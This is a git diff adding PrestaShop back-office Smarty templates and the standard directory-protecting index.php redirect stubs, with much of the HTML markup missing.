h="displayFeatureForm" id_feature=$form_id} + {/if} +{/block} diff --git a/BO/themes/default/template/controllers/features/helpers/form/index.php b/BO/themes/default/template/controllers/features/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/features/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/features/helpers/index.php b/BO/themes/default/template/controllers/features/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/features/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/features/index.php b/BO/themes/default/template/controllers/features/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/features/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/geolocation/helpers/index.php b/BO/themes/default/template/controllers/geolocation/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/geolocation/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/geolocation/helpers/options/index.php b/BO/themes/default/template/controllers/geolocation/helpers/options/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/geolocation/helpers/options/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/geolocation/helpers/options/options.tpl b/BO/themes/default/template/controllers/geolocation/helpers/options/options.tpl new file mode 100755 index 0000000..0ceac7a --- /dev/null +++ b/BO/themes/default/template/controllers/geolocation/helpers/options/options.tpl @@ -0,0 +1,60 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/options/options.tpl"} +{block name="field"} + {if $field['type'] == 'checkbox_table'} +
+ + + + + + + + + {foreach $field['list'] as $country} + + + + + {/foreach} + +
{l s='Name'}
{$country['name']|escape:'htmlall':'UTF-8'}
+
+
+
+ {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="input"} + {if $field['type'] == 'textarea_newlines'} + + {else} + {$smarty.block.parent} + {/if} +{/block} diff --git a/BO/themes/default/template/controllers/geolocation/index.php b/BO/themes/default/template/controllers/geolocation/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/geolocation/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/groups/helpers/form/form.tpl b/BO/themes/default/template/controllers/groups/helpers/form/form.tpl new file mode 100755 index 0000000..acb52c2 --- /dev/null +++ b/BO/themes/default/template/controllers/groups/helpers/form/form.tpl @@ -0,0 +1,273 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/form/form.tpl"} + +{block name="label"} + {if $input['type'] == 'modules'} +
+
+ +
+ {elseif $input['type'] == 'group_discount_category'} +
+
+ +
+ {else} + + {/if} +{/block} + + +{block name="field"} + {if $input['type'] == 'group_discount_category'} +
+ +
+ {l s='Add a category discount'} + + {foreach $input['values'] key=key item=category } + + + + + + {/foreach} +
{$category.path}{l s='Discount: %d%%' sprintf=$category.reduction} + + +
+ + +
+ {elseif $input['type'] == 'modules'} +
+
+ + + + + + + + + + + + + + + + + + + + +
+ {$input['label']['auth_modules']} + + {$input['label']['unauth_modules']} +
+
    +
  • + {foreach $input['values']['auth_modules'] key=key item=module } +
  • + + + {$module->displayName} + +
  • + + {/foreach} +
+
+
    +
  • + {foreach $input['values']['unauth_modules'] key=key item=module } +
  • + + + {$module->displayName} + +
  • + {/foreach} +
+
+ + + + + +
+
+ {else} + {$smarty.block.parent} + {/if} +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/groups/helpers/form/index.php b/BO/themes/default/template/controllers/groups/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/groups/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/groups/helpers/index.php b/BO/themes/default/template/controllers/groups/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/groups/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/groups/helpers/view/index.php b/BO/themes/default/template/controllers/groups/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/groups/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/groups/helpers/view/view.tpl b/BO/themes/default/template/controllers/groups/helpers/view/view.tpl new file mode 100755 index 0000000..eceafdb --- /dev/null +++ b/BO/themes/default/template/controllers/groups/helpers/view/view.tpl @@ -0,0 +1,63 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + +
+
    +
  • {l s='Name:'} {$group->name[$language->id]}
  • +
  • {l s='Discount: %d%%' sprintf=$group->reduction}
  • +
  • {l s='Current category discount:'} + {if !$categorieReductions} + {l s='None'} + {else} + + {foreach $categorieReductions key=key item=category } + + + + + {/foreach} +
    {$category.path}{l s='Discount: %d%%' sprintf=$category.reduction}
    + {/if} +
  • + +
  • {l s='Price display method:'} + {if $group->price_display_method} + {l s='Tax excluded'} + {else} + {l s='Tax included'} + {/if} +
  • +
  • {l s='Show prices:'} {if $group->show_prices}{l s='Yes'}{else}{l s='No'}{/if} +
  • +
+
+

{l s='Members of this customer group'}

+ {$customerList} + +{/block} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/groups/index.php b/BO/themes/default/template/controllers/groups/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/groups/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/home/content.tpl b/BO/themes/default/template/controllers/home/content.tpl new file mode 100755 index 0000000..df2d03d --- /dev/null +++ b/BO/themes/default/template/controllers/home/content.tpl @@ -0,0 +1,244 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
+

{l s='Dashboard'}

+
+
+
+ + +
+ {if $upgrade} +
+ {if $upgrade->need_upgrade} +

{l s='A new version of PrestaShop is available.'} : {l s='Download'} {$upgrade->version_name} !

+ {/if} +
+ {else} +

{l s='Update notifications are unavailable'}

+

 

+

{l s='To receive PrestaShop update warnings, you need to activate you account. '} allow_url_fopen [{l s='more info on php.net'}]

+

{l s='If you don\'t know how to do this, please contact your hosting provider!'}


+ {/if} + +{if $employee->bo_show_screencast} +
+

{l s='Video'}

+
+ +
+
+

{l s='Take part in the e-commerce adventure with PrestaShop, the best open-source shopping-cart solution on the planet. With more than 310 native features, PrestaShop comes fully equipped to help create a world of opportunity without limits. '}

+
+ +
+
+ +{/if} + +

{l s='Quick links'}

+ + +
+

+
+ +
+ + + {$tips_optimization} +

{l s='Loading...'}

+ + {hook h="displayAdminHomeInfos"} + {hook h="displayBackOfficeHome"} {*old name of the hook*} + +
+ + +
+

{l s='Your Information'}

+ {$monthly_statistics} + {$customers_service} + {$stats_sales} + {$last_orders} + {hook h="displayAdminHomeStatistics"} +
+ +
+
 
+ +
+ + diff --git a/BO/themes/default/template/controllers/home/index.php b/BO/themes/default/template/controllers/home/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/home/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/home/optimizationTips.tpl b/BO/themes/default/template/controllers/home/optimizationTips.tpl new file mode 100755 index 0000000..8f08535 --- /dev/null +++ b/BO/themes/default/template/controllers/home/optimizationTips.tpl @@ -0,0 +1,85 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
+
{l s='Configuration checklist'} + + + v + + +
+
    + {foreach from=$opti_list item=i key=k} +
  • + + {$i.title} +
  • + + {/foreach} +
+ +
+ + diff --git a/BO/themes/default/template/controllers/images/content.tpl b/BO/themes/default/template/controllers/images/content.tpl new file mode 100755 index 0000000..2e8e0ea --- /dev/null +++ b/BO/themes/default/template/controllers/images/content.tpl @@ -0,0 +1,101 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{$content} + +{if isset($display_regenerate)} +

{l s='Regenerate thumbnails'}

+ {l s='Regenerates thumbnails for all existing images'}

+
+
+ {l s='Please be patient. This can take several minutes.'}
+ {l s='Be careful! Manually uploaded thumbnails will be erased and replaced by automatically generated thumbnails.'} +
+
+
+
+ {l s='Regenerate thumbnails'}
+ +
+ +
+ + {foreach $types AS $k => $type} + + + {/foreach} + + +
+ +

{l s='Deselect this checkbox only if your server timed out and you need to resume the regeneration.'}

+
+
+
+
+
+{/if} + +{if isset($display_move) && $display_move} +

{l s='Move images'}

+ {l s='PrestaShop now uses a new storage system for product images. It offers better performance if your shop has a large number of products.'}
+
+ {if $safe_mode} +
+ {l s='PrestaShop has detected that your server configuration is not compatible with the new storage system (directive "safe_mode" is activated). You should therefore continue to use the existing system.'} +
+ {else} +
+
+ {l s='Move images'}
+ {l s='You can choose to keep your images stored in the previous system. There\'s nothing wrong with that.'}
+ {l s='You can also decide to move your images to the new storage system. In this case, click on the "Move images" button below. Please be patient. This can take several minutes.'} +

+
  + {l s='After moving all of your product images, set the "Use the legacy image filesystem" option above to "No" for best performance.'} +
+
+
+
+ {/if} +{/if} \ No newline at end of file diff --git a/BO/themes/default/template/controllers/images/index.php b/BO/themes/default/template/controllers/images/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/index.php b/BO/themes/default/template/controllers/index.php new file mode 100755 index 0000000..ca24fa5 --- /dev/null +++ b/BO/themes/default/template/controllers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/information/helpers/index.php b/BO/themes/default/template/controllers/information/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/information/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/information/helpers/view/index.php b/BO/themes/default/template/controllers/information/helpers/view/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/information/helpers/view/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/information/helpers/view/view.tpl b/BO/themes/default/template/controllers/information/helpers/view/view.tpl new file mode 100755 index 0000000..782c4b8 --- /dev/null +++ b/BO/themes/default/template/controllers/information/helpers/view/view.tpl @@ -0,0 +1,210 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{extends file="helpers/view/view.tpl"} + +{block name="override_tpl"} + + + +
+ {l s='Configuration information'} +

{l s='This information must be provided when you report an issue on our bug tracker or forum.'}

+
+
+
+ {l s='Information about your configuration.'} +

{l s='Server information'}

+ {if count($uname)} +

+ {l s='Server information'}: {$uname|escape:'htmlall':'UTF-8'} +

+ {/if} +

+ {l s='Server software version'}: {$version.server|escape:'htmlall':'UTF-8'} +

+

+ {l s='PHP version'}: {$version.php|escape:'htmlall':'UTF-8'} +

+

+ {l s='Memory limit'}: {$version.memory_limit|escape:'htmlall':'UTF-8'} +

+

+ {l s='Max execution time'}: {$version.max_execution_time|escape:'htmlall':'UTF-8'} +

+ {if $apache_instaweb} +

{l s='PageSpeed module for Apache installed (mod_instaweb)'}

+ {/if} + +
+

{l s='Database information'}

+

+ {l s='MySQL version'}: {$database.version|escape:'htmlall':'UTF-8'} +

+

+ {l s='MySQL engine'}: {$database.engine|escape:'htmlall':'UTF-8'} +

+

+ {l s='Tables prefix'}: {$database.prefix|escape:'htmlall':'UTF-8'} +

+ +
+

{l s='Store information'}

+

+ {l s='PrestaShop version'}: {$shop.ps|escape:'htmlall':'UTF-8'} +

+

+ {l s='Shop URL'}: {$shop.url|escape:'htmlall':'UTF-8'} +

+

+ {l s='Current theme in use'}: {$shop.theme|escape:'htmlall':'UTF-8'} +

+
+

{l s='Mail configuration'}

+

+ {l s='Mail method'}: + + {if $mail} + {l s='You are using the PHP mail function.'}

+ {else} + {l s='You are using your own SMTP parameters.'}

+

+ {l s='SMTP server'}: {$smtp.server|escape:'htmlall':'UTF-8'} +

+

+ {l s='SMTP user'}: + {if $smtp.user neq ''} + {l s='Defined'} + {else} + {l s='Not defined'} + {/if} +

+

+ {l s='SMTP password'}: + {if $smtp.password neq ''} + {l s='Defined'} + {else} + {l s='Not defined'} + {/if} +

+

+ {l s='Encryption'}: {$smtp.encryption|escape:'htmlall':'UTF-8'} +

+

+ {l s='Port'}: {$smtp.port|escape:'htmlall':'UTF-8'} +

+ {/if} +
+

{l s='Your information'}

+

+ {l s='Your web browser'}: {$user_agent|escape:'htmlall':'UTF-8'} +

+
+
+
+ {l s='Check your configuration'} +

+ {l s='Required parameters'}: + {if !$failRequired} + OK +

+ {else} + {l s='Please fix the following error(s)'} +

+
    + {foreach from=$testsRequired item='value' key='key'} + {if $value eq 'fail'} +
  • {$testsErrors[$key]}
  • + {/if} + {/foreach} +
+ {/if} + +

+ {l s='Optional parameters'}: + {if !$failOptional} + OK +

+ {else} + {l s='Please fix the following error(s)'} +

+
    + {foreach from=$testsOptional item='value' key='key'} + {if $value eq 'fail'} +
  • {$key}
  • + {/if} + {/foreach} +
+ {/if} + +
+ +
+
+ {l s='List of changed files'} +
{l s='Checking files...'}
+
+ +{/block} diff --git a/BO/themes/default/template/controllers/information/index.php b/BO/themes/default/template/controllers/information/index.php new file mode 100755 index 0000000..65f3768 --- /dev/null +++ b/BO/themes/default/template/controllers/information/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/invoices/helpers/form/form.tpl b/BO/themes/default/template/controllers/invoices/helpers/form/form.tpl new file mode 100755 index 0000000..e1ba349 --- /dev/null +++ b/BO/themes/default/template/controllers/invoices/helpers/form/form.tpl @@ -0,0 +1,85 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{extends file="helpers/form/form.tpl"} + +{block name=script} + + $(document).ready(function() { + var btn_save_date = $('span[class~="process-icon-save-date"]').parent(); + var btn_submit_date = $('#submitPrint'); + + if (btn_save_date.length > 0 && btn_submit_date.length > 0) + { + btn_submit_date.hide(); + btn_save_date.find('span').removeClass('process-icon-save-date'); + btn_save_date.find('span').addClass('process-icon-save-calendar'); + btn_save_date.click(function() { + btn_submit_date.before(''); + + $('#invoice_date_form').submit(); + }); + } + + var btn_save_status = $('span[class~="process-icon-save-status"]').parent(); + var btn_submit_status = $('#submitPrint2'); + + if (btn_save_status.length > 0 && btn_submit_status.length > 0) + { + btn_submit_status.hide(); + btn_save_status.find('span').removeClass('process-icon-save-status'); + btn_save_status.find('span').addClass('process-icon-save'); + btn_save_status.click(function() { + btn_submit_status.before(''); + + $('#invoice_status_form').submit(); + }); + } + }); + +{/block} + +{block name="input"} + {if $input.type == 'checkboxStatuses'} + {foreach $input.values.query as $value} + {assign var=id_checkbox value=$input.name|cat:'_'|cat:intval($value[$input.values.id])} + +
+ {/foreach} + {else} + {$smarty.block.parent} + {/if} +{/block} + +{block name="after"}
 
{/block} + diff --git a/BO/themes/default/template/controllers/invoices/helpers/form/index.php b/BO/themes/default/template/controllers/invoices/helpers/form/index.php new file mode 100755 index 0000000..c9b153f --- /dev/null +++ b/BO/themes/default/template/controllers/invoices/helpers/form/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../../../../../../'); +exit; \ No newline at end of file diff --git a/BO/themes/default/template/controllers/invoices/helpers/index.php b/BO/themes/default/template/controllers/invoices/helpers/index.php new file mode 100755 index 0000000..650e79b --- /dev/null +++ b/BO/themes/default/template/controllers/invoices/helpers/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: 